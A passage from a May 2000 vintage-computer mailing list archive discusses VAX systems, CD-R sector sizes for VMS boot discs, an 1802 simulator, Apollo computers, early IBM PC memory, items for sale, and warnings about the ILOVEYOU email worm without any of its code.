trinkets around somewhere from stuff I bought then. Allison From allisonp at world.std.com Thu May 4 07:35:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:33 2005 Subject: VAX system wanted In-Reply-To: <004001bfb57d$175eee20$0190fea9@beast> Message-ID: Of the vaxen to look for a Microvax2000, or Microvax3100 are quite small. Next up on the size scale are the MicrovaxII series, MV3400s and friends. If you really want only and can accomodate 2 short racks a 750 or 730 series is not unreasonable. The university is the place to start looking as the often junk out older systems like VAXen and Suns. Allison On Wed, 3 May 2000, The Basement wrote: > Hello all at classiccmp!!! > > I'm, looking to pick up an older vax system, possibly a microvax. I'm > interested in ANY smaller main or minicomputer. We have some extra space in > teh Computer Club room at our University. We don't have much as far as > usable stuff goes ( a Pentium 75 Intel Box ). I would REALLY love to find a > uVax to setup and possibly host a server for classic computers for our ACM > Chapter, which could really use a project like this, since we are newly > formed. > > > Thanks! > Shane Wolfe > Frostburg State University > Frostburg, Maryland > From allisonp at world.std.com Thu May 4 07:36:36 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers In-Reply-To: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: Chuck, Ask the question on the NetBSD portvax list, I think someone there was working on that. Allison On Wed, 3 May 2000, Chuck McManis wrote: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? > > --Chuck > From allisonp at world.std.com Thu May 4 07:42:11 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:33 2005 Subject: Cincinatti Milacron In-Reply-To: <20000504063719.31825.qmail@hotmail.com> Message-ID: Well someone knews these some. the one that I worked with was not hooked to any mill, it was instead of DEC. It happens to be a 6701 bitslice based system with core. The Ones I had contact with were the 2100 and the 2200 (sith disks and all the goodies). $10k??? Foo, I could had the 2100 we were using for 2000 (early 1973). Allison On Thu, 4 May 2000, Will Jennings wrote: > Ah yes, the Cincinatti Milacron. Now that is a truly unusual beast... I'd > bet you could probably find one pretty easily, it would just cost you > something like $10,000 however. The reason being is that Cincinatti Milacron > was formerly known as the Cincinatti Milling Machine Co., and they are known > for their machine tools, I think mostly lathes and the like (lathes for > steel, not wood). At any rate, in about 1970 or '71, they decided to > computerize their milling machines, but they didn't want to use just someone > else's mini (i.e., a PDP-11 for example), so they designed their own. The > first model was not actually designed by them, it was a General Automation I > think, I can't remember. However, all later machines were inhouse designs. > They're all 16-bits, can't remember too much else though. I got this info > out of circa 1968-1973 or so vintage copies of "Datamation". > > Will J > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > From jhfine at idirect.com Thu May 4 08:10:52 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:52:33 2005 Subject: OT: Test Message-ID: <391176DC.5DBE4870@idirect.com> Testing - Please Ignore! From jhfine at idirect.com Thu May 4 08:11:44 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:52:33 2005 Subject: OT: Test Message-ID: <39117710.1DADC43B@idirect.com> Testing - Please Ignore! From mikeford at socal.rr.com Thu May 4 08:36:55 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:33 2005 Subject: OT: Test In-Reply-To: <391176DC.5DBE4870@idirect.com> Message-ID: >Testing - Please Ignore! Replying to OT test, please ignore. From lemay at cs.umn.edu Thu May 4 09:33:44 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:33 2005 Subject: card punch available Message-ID: <200005041433.JAA24779@caesar.cs.umn.edu> I just noticed that there is a card punch machine available here in Minneapolis if someone wants to come and get it. I didnt pay attention to the exact model, but its one of the 'old' ones, ie, its definitely not the one with the LED display in the keyboard. Anyways, if you want it you would probably have to pick it up next week before it goes to the recycling center. And you would have to let them know you want it, and arrange for a time to pick it up. -Lawrence LeMay lemay@cs.umn.edu From dogas at leading.net Thu May 4 09:41:20 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:33 2005 Subject: COSMAC 1802 Simulator Message-ID: <00fc01bfb5d6$d2c64060$ca646464@dogclient01> Hi, (comments embedded below) From: allisonp@world.std.com > >Havent played anything hard on it to test if it is a valid 1802 but I have >comments and suggestions. > > Build it as a basic engine, if it needs ram then set a external parameter > list for how much and what addresses, same for rom. Yep, in there from the beginning.... maybe for multiple instances of cosmacs 'linked' to each other or at least as a few depositable c++ classes that can be that generic engine.. But I didn't consider the "Load List" idea for [all] individually specified ram and rom blocks to define a 'complete system'. *snag* ;) Thanks. This LL should probably also specify any additional 'hardware' thrown in (uart, parallel interface( probabbly necessary to simulate a cosmac disk drives and raising CDOS in the emulator (final goal)), etc) > Simulate IO, if it has a uart on the N-lines then create the > registers/data you interact with (or the Q and Sense lines). I'm reviewing the CDP1854 uart specs and a UT21 rom listing now and will add it shortly. I need UT4! ( and UT3, etc... ) >The console can be like the ELF (switches and lights) and/or >a RS232 tube connected via Q and F lines, software uart required >as part of the code as UT4 does. > > Load UT4 (or whatever) from a start up list to emulate the rom > and have the 1802 engine execute the "rom" cone out of memory space. > This would allow code to "call" various ut4 routines like get or type. > > The miniassembler is nice and plenty handy. You may want to consider > having it run like real code loaded into ram later on. Thanks. And I see your point > The core of the instruction set is fairly regular so the select tree > can be broken into functional sub trees for simpler code. > > The version of TB I have is quest TB and I don't have it on machine > readable form (other than papertape which I currentlly can't read) > so I'd have to copy the pages and someone can have the fun of toggleing > it in, it'a about 1k or 2k. Somebody else has been there done that. Thanks Kirk! Thanks for the suggestions, Allison! More soon. :) - Mike: dogas@leading.net >Allison > >On Wed, 3 May 2000, Mike wrote: > >> Tonight I added the mini-assembler and memory block saves&loads to the 1802 >> simulator. The 95/98/nt console binary and source-code are at: >> >> http://users.leading.net/~dogas/classiccmp/cosmac/vcosmac.htm >> >> >Allison >> > >> >Good runs under W95/nt then, have that running. >> >M!... Ah UT4. have manual. >> >> heh.. early influences... >> >> >Wheres Bin/CPP for it? >> >> Up there. >> >> Let me know if it doesn't do what you think it should. >> >> Thanks >> - Mike: dogas@leading.net >> >> >> > >> >Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 >> >it was faster than 1802. I wonder where I put that. >> > >> > >> > From ard at p850ug1.demon.co.uk Thu May 4 12:53:55 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:33 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <4.3.1.2.20000501152408.00d61ae0@mail.city-net.com> from "Bill von Hagen" at May 1, 0 03:29:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 299 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/7f04ca8b/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 4 13:04:37 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:33 2005 Subject: IBM PC parts In-Reply-To: <200005032347.QAA29127@civic.hal.com> from "Dwight Elvey" at May 3, 0 04:47:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3283 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/16a84171/attachment-0001.ksh From eric at brouhaha.com Thu May 4 13:45:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:33 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> (message from John Wilson on Wed, 3 May 2000 23:19:33 -0400) References: <008a01bfb568$52d88110$8264c0d0@ajp166> <20000503231933.A24114@dbit.dbit.com> Message-ID: <20000504184525.8942.qmail@brouhaha.com> John Wilson writes: > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? I recently read somewhere that around 150 AGCs were built, and about 75 used in space. I'm very skeptical of that number, but it does makes me wonder how many of them were involved in each mission. Assuming that they were also used on Apollo-Soyuz and the Skylab missions, that makes about 16 missions, so they would have had to use about nearly five per mission to accout for 75 of them. I was of the impression that they were designed for a tight fit in an odd-shaped space in the command module; was the same computer used in the lander as well, or in other parts of the spacecraft? From eric at brouhaha.com Thu May 4 13:49:04 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers In-Reply-To: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> (message from Chuck McManis on Wed, 03 May 2000 21:15:47 -0700) References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: <20000504184904.8977.qmail@brouhaha.com> Chuck writes: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? You don't need a CD-writer that supports 512-byte sectors in order to write CDs for VAXen, unless you want to use the same drive on the VAXen for reading the discs. The discs don't really have a 512-byte format; they always have the same physical format which is normally presented to the host as 2048-byte sectors. However, drives that support 512-byte mode will internally split transfers into 512-byte pieces. AFAIK, even on a VAX, the available software to *write* CDs uses "normal" 2048-byte transfers. So I think the answer is that *any* CD-R drive should be able to write a bootable image. From eric at brouhaha.com Thu May 4 13:55:14 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:33 2005 Subject: IBM PC parts In-Reply-To: (message from Mike Ford on Thu, 4 May 2000 02:46:14 -0700) References: from "Mike Ford" at May 3, 0 11:01:38 am Message-ID: <20000504185514.9033.qmail@brouhaha.com> Mike Ford asks: > Was it really "later", or was the 64-256k an option available at the same > time as the 16-64k? It was really later. At FCS, 64K was the maximum supported on the planar. IBM offered 64K expansion cards. The PC required DIP switches on the planar to be set to indicate to the BIOS the total amount of installed memory (both on the planar and expansion cards). The maximum supported by the switch settings was well under 640K. IBM-DOS believed the memory limit set by the BIOS, so if you had more than the BIOS could understand, you had to use a batch script with DEBUG, a TSR or other similar hack to make the machine believe that it had more memory. From allisonp at world.std.com Thu May 4 14:00:28 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Message-ID: It's an email worm that takes advantage of MS Active-x controls. This is a wide spreading fast mover and packs a payload. Locally several companies have reported it and it was only launched less than a day ago. WWW.f-secure.com has details. Allison From allisonp at world.std.com Thu May 4 14:03:50 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:33 2005 Subject: What a weekend! In-Reply-To: <20000504184525.8942.qmail@brouhaha.com> Message-ID: > I recently read somewhere that around 150 AGCs were built, and about 75 > used in space. I'm very skeptical of that number, but it does makes me > wonder how many of them were involved in each mission. Assuming that > they were also used on Apollo-Soyuz and the Skylab missions, that makes > about 16 missions, so they would have had to use about nearly five per > mission to accout for 75 of them. Unknown, however it's possible. > I was of the impression that they were designed for a tight fit in an > odd-shaped space in the command module; was the same computer used in > the lander as well, or in other parts of the spacecraft? I've seen the command module and the LM versions and they are parctically part of the structure and depend on it for conductive cooling. The CM and LM machines are of similar design but not the same. The basic requirements and design window account for them being very similar. Allison From CLASSICCMP at trailing-edge.com Thu May 4 14:11:54 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers Message-ID: <000504151154.20200c46@trailing-edge.com> Chuck writes: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? The actual sectors on the CD-ROM are *always* really 2048-byte sectors. Setting a CD-ROM reader to 512 bytes/sector just splits each real sector into four. And many SCSI CD-ROM drives will gladly do this via a SCSI mode select command (though not all VAXen issue the command, nor do all drives pay attention to it!) and with some you can do it with physica jumpers instead (or also.) (Actually, I'm reluctant to call the information on the CD as "physical sectors" since really the data and error correction information are interleaved and spread out over the spiral, so that a scratch in one place won't ruin all chances of recovering the data via ECC. The point is, a CD-ROM is a bunch of blocks, just as a hard drive is.) At write-time, all CD-writing software that I know of does things in terms of 2048-byte sectors. Even the CD-writing software that runs under VMS (for example, "cdwrite" and "cdrecord".) If you're really bored you can learn how to do mode page editing on SCSI drives yourself. I learned it a couple of years back when I got a boatload of Micropolis 1.6Gig drives that had been set for 520-byte sectors and wanted to use them in a more "normal" 512-byte mode. Since then the skill has come in handy to connect modern, fast, and "large" (i.e. 9 Gbytes or larger) SCSI drives onto systems that don't deal with drives that large. Just go in, edit the disk capacity mode page, and you've got a smaller than 1 Gig drive that never has to seek very far :-). -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From pat at transarc.ibm.com Thu May 4 14:15:16 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:52:33 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> Message-ID: On Wed, 3 May 2000, John Wilson wrote: > > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? > Not sure where the particular units in question came from, but as Eric pointed out, a number of the various parts were never flown. There were even a few entire landers that never flew. If you are ever in Philadelphia, be sure to visit the Franklin Institute, where they have the Apollo 19 lunar module parked out in the back yard (Apollo 19 was one of the missions in the original schedule that was eventually cancelled). In an effort to keep this post slightly on-topic, if you're at all interested in the computers that flew on these missions, you must read: Journey to the Moon: The History of the Apollo Guidance Computer by Eldon C. Hall ISBN 156347185X Hall was a member of the MIT Instrumentation Lab team that that designed the AGC. It's a little light on real technical details, but an excellent read. --Pat. From mcguire at neurotica.com Thu May 4 14:18:29 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Watch for "ILOVEYOU" loveletter.VBS bug (allisonp@world.std.com) References: Message-ID: <14609.52485.674462.260780@phaduka.neurotica.com> On May 4, allisonp@world.std.com wrote: > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. Sure enough, got this on my mail server this morning: May 4 11:46:16 srv1 sendmail[4958]: LAB04956: usgate.e-mail.com.: SMTP DATA-2 protocol error: 570 Rejected.Potential ILOVEYOU virus. Why do people use crappy software like that? If I hear one more idiot say "but I NEEEEEEEEEEEED it!" in reference to micro$lop I'm going to go postal. -Dave McGuire From wilson at dbit.dbit.com Thu May 4 15:01:45 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:33 2005 Subject: IBM PC parts In-Reply-To: ; from mikeford@socal.rr.com on Thu, May 04, 2000 at 02:46:14AM -0700 References: Message-ID: <20000504160145.A26783@dbit.dbit.com> On Thu, May 04, 2000 at 02:46:14AM -0700, Mike Ford wrote: > Was it really "later", or was the 64-256k an option available at the same > time as the 16-64k? I'm 99% sure it was "later". I bought my 5150 new in 1983, and there was no choice in mobo, I got the minimum config of 64 KB and one 160/180 KB disk. I'm glad that the mobo could take more because I had to immediately upgrade the machine to 128 KB, MASM 1.00 was claimed to run in 64 KB but evidently that was under PC-DOS 1.x. I splurged and spent the extra $20 for PC-DOS 2.0 and at ~21 KB it was so bloated that MASM wouldn't fit! And even once it was working, it couldn't take pathnames in filenames (very annoying for INCLUDE) since it still lived in FCB world. Still have the machine, but I swapped in a V20 CPU at the earliest opportunity (and lost the 8088 many moves ago) so I suppose I ruined any "classic" value it would ever have. Awwww... I also fried the MDA in the course of some modifications (#1 was to double the memory so it could display 50 lines of text with interleave, no flicker at all with that soupy IBM monitor, #2 was to add color support and change the base I/O and mem addresses, screwed something up there), but I like the HGC+ better anyway. John Wilson D Bit From oliv555 at arrl.net Thu May 4 15:10:54 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug References: <14609.52485.674462.260780@phaduka.neurotica.com> Message-ID: <3911D94E.A64DA6BD@arrl.net> Dave McGuire wrote: > On May 4, allisonp@world.std.com wrote: > > It's an email worm that takes advantage of MS Active-x controls. > > Why do people use crappy software like that? If I hear one more > idiot say "but I NEEEEEEEEEEEED it!" in reference to micro$lop I'm > going to go postal. Whoa...hold your fire..... while I haven't seen this particular beastie, my BlackIce Defender just set off an alarm for an attack attempt with the NetBus trojan horse. Don't know if this is a new one or not. Running BlackIce on the _paranoid_ setting. As far as the micro$lop, soon as I find a -500au my Aptiva is history. ..... Nick From steverob at hotoffice.com Thu May 4 15:20:54 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <2921A6D846E9D31182490050040DC0D65B8DE1@hoexc101.hotoffice.com> It's certainly spreading fast, I've already received three corrupt messages. Two of them came from other list servers (not this one) that I belong to and one came from a friend. Fortunately, I don't think this one is too distructive... Steve Robertson > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. > > Allison > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/9d51ddce/attachment-0001.html From pete at dunnington.u-net.com Thu May 4 15:36:50 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: allisonp@world.std.com "Watch for "ILOVEYOU" loveletter.VBS bug" (May 4, 15:00) References: Message-ID: <10005042136.ZM1624@indy.dunnington.u-net.com> On May 4, 15:00, allisonp@world.std.com wrote: > > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. We've already had one hard drive wiped out by it :-( -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Thu May 4 15:41:38 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers In-Reply-To: Chuck McManis "Re: Plextor CD writers" (May 4, 1:50) References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> <4.3.1.2.20000504014851.02b9c860@208.226.86.10> Message-ID: <10005042141.ZM1640@indy.dunnington.u-net.com> On May 4, 1:50, Chuck McManis wrote: > I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it > didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I guessed > it was the block size issue. > --Chuck More likely just a format that EZ CD can't read -- it understands ISO-9660, RockRidge extensions, and Joliet extensions, but I suspect the VMS CD (like most Solaris, IRIX, etc) isn't ISO format. If you have access to a unix/linux box, try reading it with 'dd' (that's how I copy Solaris, Mac HFS, IRIX EFS/XFS, etc). As several others have said, all data mode CDs have 2048-byte "sectors" on the physical medium (2352 bytes if audio). -- Pete Peter Turnbull Dept. of Computer Science University of York From SWMORETP at aol.com Thu May 4 15:43:50 2000 From: SWMORETP at aol.com (SWMORETP@aol.com) Date: Sun Feb 27 18:52:33 2005 Subject: Classic Computer Stuff Message-ID: <15.35bdcb6.26433b06@aol.com> Don't know if for sale posts are OK. I'm a newbie to this group. If it isn't I won't do it again. We sell Classic Computer Stuff on eBay We specialize in Apple II and III computers, hardware, software and accessories but have sold a Mac 128, TRS-80 Model 4D, Osborne 1 plus software and hardware for Osborne, Morrow, TRS-80, Lisa etc as well as old MS-DOS (we have 1.1 up for auction now), old Windows software etc. Your name - SOFTWARE & MORE E-mail address - SWMoreTP@aol.com Web page URL - eBay Auctions: http://cgi6.ebay.com/aw-cgi/eBayISAPI.dll?ViewListedItems&userid=swmoretp@aol. com Web page URL - Collectible Software: http://members.aol.com/SWMoreTP/Collectiblesoftware.html Country, and state or province if in the USA or Canada.- California Real address - 7250 Aubrun Blvd #154, Citrus Heights, California Computers of interest - Apple II, III, Mac 128, Lisa Geographical area covered - Everywhere Transport and storage capabilities HERE IS A LIST OF THE AUCTIONS I HAVE POSTED SO FAR THIS WEEK: dBASE II Ver. 2.3b for Osborne in the Box 323665858 $6.99 - - 1 - May-02-00 May-09-00 20:33:17 5d 10h 44m Rainbow 100, DECmate II etc. Guide by Digital 323669372 $3.99 - - 1 - May-02-00 May-09-00 20:36:22 5d 10h 47m TRS-80 OS-9 Pascal in the Box. 323672648 $4.99 $4.99 - 1 1 May-02-00 May-09-00 20:39:05 5d 10h 49m Xerox 820 Diagnostic Exerciser 8" Diskette 323675905 $3.99 $3.99 - 1 1 May-02-00 May-09-00 20:41:59 5d 10h 52m Fast Load Cartridge for Commodore 64 323684666 $3.99 - - 1 - May-02-00 May-09-00 20:50:01 5d 11h 0m Osborne 1 User's Reference Guide by Osborne 323686761 $5.99 - - 1 - May-02-00 May-09-00 20:52:08 5d 11h 2m Apple III Serial Card Made by Apple 323689340 $4.99 $4.99 - 1 1 May-02-00 May-09-00 20:54:20 5d 11h 5m 3 Adam Computer Manuals 324434358 $3.99 - - 1 - May-03-00 May-10-00 20:04:31 6d 10h 15m Apple Advertising Video Tape in the Box 324438139 $4.99 - - 1 - May-03-00 May-10-00 20:08:02 6d 10h 18m Apple II/Plus Language Card by Apple in Box 324451342 $8.99 - - 1 - May-03-00 May-10-00 20:20:16 6d 10h 31m 1984 Adventure Game Book with Clues, Maps etc 322080858 $8.00 $8.50 - 1 3 Apr-30-00 May-10-00 20:46:27 6d 10h 57m Apple IIe Error Advertising Booklet by Apple 322086524 $6.00 - - 1 - Apr-30-00 May-10-00 20:51:26 6d 11h 2m Ultima I for Apple II NEW in the Box 322090517 $9.99 $71.50 - 1 22 Apr-30-00 May-10-00 20:56:09 6d 11h 7m Very Collectible MacCharlie for Macintosh 128 322095879 $9.99 $11.50 - 1 4 Apr-30-00 May-10-00 21:01:27 6d 11h 12m Macintosh 128 Motherboard in the Box 322100160 $7.99 $22.27 - 1 7 Apr-30-00 May-10-00 21:06:12 6d 11h 17m MS-DOS 1.1 in the Box 322102357 $9.99 $10.99 - 1 3 Apr-30-00 May-10-00 21:09:11 6d 11h 20m TRS-80 VAR/80 Telesis Interface 322849186 $5.99 $5.99 - 1 1 May-01-00 May-11-00 20:38:27 7d 10h 49m Intel Single Board Computer 80/10, 1975! 322852592 $4.99 $22.50 - 1 7 May-01-00 May-11-00 20:41:36 7d 10h 52m Apple II Transwarp Accelorator Card by AE 322857405 $9.99 $19.00 - 1 6 May-01-00 May-11-00 20:46:26 7d 10h 57m Apple II Clone: Franklin Ace 1000 New in Box 322860352 $9.99 $10.50 - 1 3 May-01-00 May-11-00 20:49:20 7d 11h 0m Thank you, Tony & Paula SWMoreTP@aol.com SOFTWARE & MORE From oliv555 at arrl.net Thu May 4 15:48:49 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug References: Message-ID: <3911E231.F28382B7@arrl.net> Just logged into my work system (I'm at home on vacation now) and sure enough, its there, along with a warning from our SysAdmin to delete it immediately. Outlook wouldnt let me do that, so it will have to keep for the next 2 weeks. allisonp@world.std.com wrote: > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. > > Allison From pechter at pechter.dyndns.org Thu May 4 15:55:29 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers In-Reply-To: <10005042141.ZM1640@indy.dunnington.u-net.com> from Pete Turnbull at "May 4, 2000 08:41:38 pm" Message-ID: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> > On May 4, 1:50, Chuck McManis wrote: > > > I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it > > didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I > guessed > > it was the block size issue. > > --Chuck > > More likely just a format that EZ CD can't read -- it understands ISO-9660, > RockRidge extensions, and Joliet extensions, but I suspect the VMS CD (like > most Solaris, IRIX, etc) isn't ISO format. If you have access to a > unix/linux box, try reading it with 'dd' (that's how I copy Solaris, Mac > HFS, IRIX EFS/XFS, etc). > > As several others have said, all data mode CDs have 2048-byte "sectors" on > the physical medium (2352 bytes if audio). > > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... I think that the Linux and Unix stuff can... Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Thu May 4 15:57:01 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <14609.52485.674462.260780@phaduka.neurotica.com> from Dave McGuire at "May 4, 2000 03:18:29 pm" Message-ID: <200005042057.QAA01313@bg-tc-ppp476.monmouth.com> > > May 4 11:46:16 srv1 sendmail[4958]: LAB04956: usgate.e-mail.com.: SMTP DATA-2 protocol error: 570 Rejected.Potential ILOVEYOU virus. > > Why do people use crappy software like that? If I hear one more > idiot say "but I NEEEEEEEEEEEED it!" in reference to micro$lop I'm > going to go postal. > > > -Dave McGuire OK -- how do you do the sendmail virus filter. I've got to do this at work. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Thu May 4 15:59:37 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:33 2005 Subject: Mode page edit In-Reply-To: <000504151154.20200c46@trailing-edge.com> from "CLASSICCMP@trailing-edge.com" at "May 4, 2000 03:11:54 pm" Message-ID: <200005042059.QAA01333@bg-tc-ppp476.monmouth.com> > Chuck writes: > > If you're really bored you can learn how to do mode page editing on SCSI > drives yourself. I learned it a couple of years back when I got a boatload > of Micropolis 1.6Gig drives that had been set for 520-byte sectors and > wanted to use them in a more "normal" 512-byte mode. Since then the > skill has come in handy to connect modern, fast, and "large" (i.e. 9 > Gbytes or larger) SCSI drives onto systems that don't deal with drives > that large. Just go in, edit the disk capacity mode page, and you've > got a smaller than 1 Gig drive that never has to seek very far :-). > > -- > Tim Shoppa Email: shoppa@trailing-edge.com > Trailing Edge Technology WWW: http://www.trailing-edge.com/ > 7328 Bradley Blvd Voice: 301-767-5917 > Bethesda, MD, USA 20817 Fax: 301-767-5927 Gee. I could've done that for the VaxStation. I didn't think of that idea. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From mgregory at vantageresearch.com Thu May 4 16:25:14 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:33 2005 Subject: NeXT Cube for sale Message-ID: <017401bfb60f$3d2a24c0$0200a8c0@marvin> Greetings. A lack of space and financial issues are forcing me to part with an original NeXT Cube system. This is a system that I recently paid Real Money for, so unfortunately it's not a freebie. I thought I'd give the list first crack at it. If I don't get any interest in a week, to eBay it goes. I'm willing to ship it, but that will be very expensive due to weight. Please email me off-list for full details if interested. Thanks, Mark Gregory gregorym@cadvision.com System specs: Original NeXT Cube (68030, 400 MB HD, 16 MB RAM) NeXT 17" MegaPixel monitor NeXT laser printer NeXTstep 1.1 on optical disk/NeXTstep 2.1 on HD All cables, mouse, keyboard, full documentation and several additional books NeXTstep/OpenStep upgrade has not been ordered from Apple All original boxes and inserts. Price: $350 Canadian (approx. $235 US) + shipping; system is in Calgary, Alberta From jrkeys at concentric.net Thu May 4 16:29:38 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:33 2005 Subject: Lisa Faceplate Message-ID: <005a01bfb60f$db1def40$18dab0d0@default> Did anyone else catch the Lisa 1 faceplate on eBay going for over $200 for just one piece of plastic ? Something is wrong with this picture. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/d6332da8/attachment-0001.html From jdarren at ala.net Thu May 4 16:47:37 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:52:33 2005 Subject: perkin/elmer & concurrent books Message-ID: <002b01bfb612$5d7860e0$026464c0@j.peters> One person asked for a list of the p-e/ccc books I have. I lost the message. Please contact me again. So sorry! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/8d8c191f/attachment-0001.html From healyzh at aracnet.com Thu May 4 16:42:43 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers In-Reply-To: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> from "Bill Pechter" at May 04, 2000 04:55:29 PM Message-ID: <200005042142.OAA08399@shell1.aracnet.com> > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > I think that the Linux and Unix stuff can... > > Bill > -- Actually Adaptec EZ-CD *PRO* can do Audio. Of course the Audio software that they provide is total garbage. This is the first piece of software I've ever tossed. I like Toast on my PowerMac (as well as a lot of specialized software/hardware for handling the Audio). I've used toast to burn ISO RedHat and NetBSD images, I've not tried OpenVMS or PDP-11 disks (I really want to start backing up my PDP-11/73's Hard Drives to CD-R), of course the only reason I've not tried is lack of time. There are 